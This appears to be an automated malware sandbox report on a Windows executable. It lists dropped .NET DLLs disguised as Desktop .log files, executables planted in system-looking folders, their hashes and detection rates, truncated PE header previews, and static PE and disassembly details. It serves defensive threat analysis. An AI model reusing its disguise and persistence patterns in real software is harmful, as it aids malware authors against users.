Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\eIxzTFKJ.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hnxxzxgb.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\htcPaTVC.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	89600
Entropy (8bit):	5.905167202474779
Encrypted:	false
SSDEEP:	1536:mspaoWV6yRfXRFHJh/fLiSI82VawF1YBJcqe:1paoWMy5XXnfXf2YSYBJcqe
MD5:	06442F43E1001D860C8A19A752F19085
SHA1:	9FBDC199E56BC7371292AA1A25CF4F8A6F49BB6D
SHA-256:	6FB2FAAC08F55BDF18F3FCEE44C383B877F416B97085DBEE4746300723F3304F
SHA-512:	3592162D6D7F0B298C2D277942F9C7E86A29078A4D7B73903183C97DACABC87E0523F0EF992F2BD7350AA8AE9D49910B3CE199BC4103F7DC268BF319293CD577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\maPwcuvP.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\mlFoDzaq.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qTMMgMAe.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qeoNTMEG.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vJjMMWBx.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vPOensqX.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xRAMIbuT.log

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zHJVyCcw.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zIxCDFUn.log

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ShellExperiences\de5836ef699499

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	ASCII text, with very long lines (628), with no line terminators
Category:	dropped
Size (bytes):	628
Entropy (8bit):	5.881347945042169
Encrypted:	false
SSDEEP:	12:t9844dUEwQGplBRXTU7jy1DLr+3TDniGVKLPpqWteJoocm2TQkfA9oQHcEzeToL:t9844dGrBRXw7j0LZbpqWjfY9NVzb
MD5:	17C3999EC55F50F2E76F350289A46C1A
SHA1:	034AFD9B7492693D13B2F84C1B0175D2D56BBC62
SHA-256:	579DE4040D7A4301002B90D8B4363E3635A75A4918DFB7CCF5CFAAC50B68AF85
SHA-512:	D5D0A8A54F01DA746A8B502B8042324104DA79830D1A1770B0B4313BFC2FBB2B837792C08739278B6A1D1D02E3AC77AEED216F20BD04DF38B9D877003D387621
Malicious:	false
Preview:	6vOpOtUdnJbODOiQosrxi7vvDPYaOAp79RMgHTQkPCyUT12icXNmDgD9Adl9V4OmedOvBCJUcHigIabLX071wD4dONforROUxLz0nHgZO2J57h1jCale6X0bjuhygfnL2Ns6lliQTin438fqW6lRpuYaVYQ2ks3tP8Dtz48a1VLYu6hlP0ck3VgIzRkMVqqlo4o55v1b7LaTjAqZ1pmtQTz3b44hUvFKpjtzRmqd9Ams5MjzlKVqD6VVEvdA1TGLFPn9Q0IO8JtPqH7PVE5JaZGsOYvfIplq3ampijiuCGr4NGo6xOowX7vpJ5v2FmGThDVQfSqvgLHTsMeItys3BzS6o6gnyqpZ9XWKuXbfi3QM0b77amIR4MSsuZlivD6zfrTUzUXVWMVHiFGN9iMLiYfxFnaVw3te6brIHmHGPw4r0KKoSYjM0uRHLgPL4Bjdc1LHY7FWaG6vdx65dvCXUgoLKj7lX5LNMbP98DPVSMwtyfnXkTsI9LI5M96yAe8f4siCi66ZfrEHu4Xo6jADNDOBSTx8GaUyNQyF6kznXTmRGBKRmS2bd5S1ehtPJ7TEWQ4dFRsVtXq3a64RIfVyi3US87lY1jeZ9h40GrLVjgrGOYbhnbHn

C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Download File

Process:	C:\HyperWebbroker\serverBrokerperfMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2639872
Entropy (8bit):	7.708083768963088
Encrypted:	false
SSDEEP:	49152:BP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPt:BPpicQSwYne++govniz
MD5:	C1CF39EF49B82B35938CA7A45DBCCEEE
SHA1:	5F299703C001F490C4D216C357BB468265714541
SHA-256:	E50625F048DA6C56A34810822FBAE68C7159C966450CFE73FEC3A8D0CDA0AFCA
SHA-512:	279B9E3BF02AF93934C25E604E2039F2CC336780EAA71B8E0AB7E58FEEE9809422D0FD107C82B2E1BA4E66E96F968B00F0B49395E79947262C88AE34650AF76B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................@(.........^_(.. ...`(...@.. ........................(...........@.................................._(.K....`(.p.....................(...................................................... ............... ..H............text...d?(.. ...@(................. ..`.rsrc...p....`(......B(.............@....reloc........(......F(.............@..B................@_(.....H.......P...........e...d........^(......................................0..........(.... ........8........E........\...)...M...8....(.... ....~~...{....:....& ....8....(.... ....~~...{....:....& ....8....(.... ....8........0.......... ........8........E................F.......\|...8........~....(L...~....(P... ....<~... ....~~...{h...9....& ....8....~....(D... .... .... ....s....~....(H....... ....8g...~....:... ....~~...{....:I...& ....8>...r...ps....z*8.... ....~~...{....

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.777999706692488
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXXtQv7qTqvvpYWyLAHKvj:Vx993DEUstOSWyYs
MD5:	59EDE95D0E4A5DFA4441E13CF348F605
SHA1:	53B30ED72170CA3CD73E9FA6C43F81B2905985FC
SHA-256:	96DFFDD95C78165486E4017882814FAA15565EA39E88FE3B13BFE2B530DE9089
SHA-512:	004040F5014A8A2FA5959212C6E6D0AB67DDC76E250E64B3AB2F3D2F97EBCA134A2A25521829D4D2DA07D7D251C275FDCDFCF9E1D34971D9135476415527EBEE
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 10/01/2025 03:30:38..03:30:38, error: 0x80072746.03:30:43, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.658372439681941
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	hz7DzW2Yop.exe
File size:	2'926'873 bytes
MD5:	46dcddd43cbaeae845c14e7306726ff2
SHA1:	4952a7cd01795d736450074433337d2a544b1e50
SHA256:	ab98b91a647e45e348db97bd277efcc122d10d45a5891bfac3d627f3a865b580
SHA512:	f7e628e12188e72a89617c1ae677fa3374b831ad91ec159b3138452d633a9fa46f789f17e9336476e3e0e00b532c53bf207777fd4d2703d3677fb18bc15c78a7
SSDEEP:	49152:HBmFP7hQ8Pq9P0qBSw83+Gnfm+VS9QxqgYRvzd4WihPtu:hmPpicQSwYne++govnizu
TLSH:	03D5D006B1A28E33D2643F39A9D7012E93B0D7627E12DF5B361E5095AD462708B673F3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	0124804c64000000

Static PE Info

General

Entrypoint:	0x41f530
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	12e12319f1029ec4f8fcbed7e82df162

Entrypoint Preview

Instruction
call 00007F8AF08269EBh
jmp 00007F8AF08262FDh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F8AF0819147h
mov dword ptr [esi], 004356D0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004356D8h
mov dword ptr [ecx], 004356D0h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004356B8h
push eax
call 00007F8AF082978Fh
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F8AF082648Ch
push 0000000Ch
push esi
call 00007F8AF0825A49h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F8AF08190C2h
push 0043BEF0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F8AF0829249h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F8AF0826408h
push 0043C0F4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F8AF082922Ch
int3
jmp 00007F8AF082ACC7h
int3
int3
int3
int3
push 00422900h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d070	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d0a4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0x57a8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6a000	0x233c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b11c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x355f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3c5ec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31bdc	0x31c00	2831bb8b11e3209658a53131886cdf98	False	0.5909380888819096	data	6.712962136932442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xaec0	0xb000	042f11346230ca5aa360727d9908e809	False	0.4579190340909091	data	5.261605615899847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x24720	0x1000	9670b581969e508258d8bc903025de5e	False	0.451416015625	data	4.387459135575936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x63000	0x190	0x200	c83554035c63bb446c6208d0c8fa0256	False	0.4453125	data	3.3327310103022305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0x57a8	0x5800	b02b3b6101a2b8c19d40c58e3310fcff	False	0.6669034090909091	data	6.694018179144421	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6a000	0x233c	0x2400	40b5e17755fd6fdd34de06e5cdb7f711	False	0.7749565972222222	data	6.623012966548067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64524	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x6506c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x66618	0xe43	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9068748288140236
RT_DIALOG	0x6745c	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x676e4	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x67820	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x6790c	0x12e	data	English	United States	0.5927152317880795
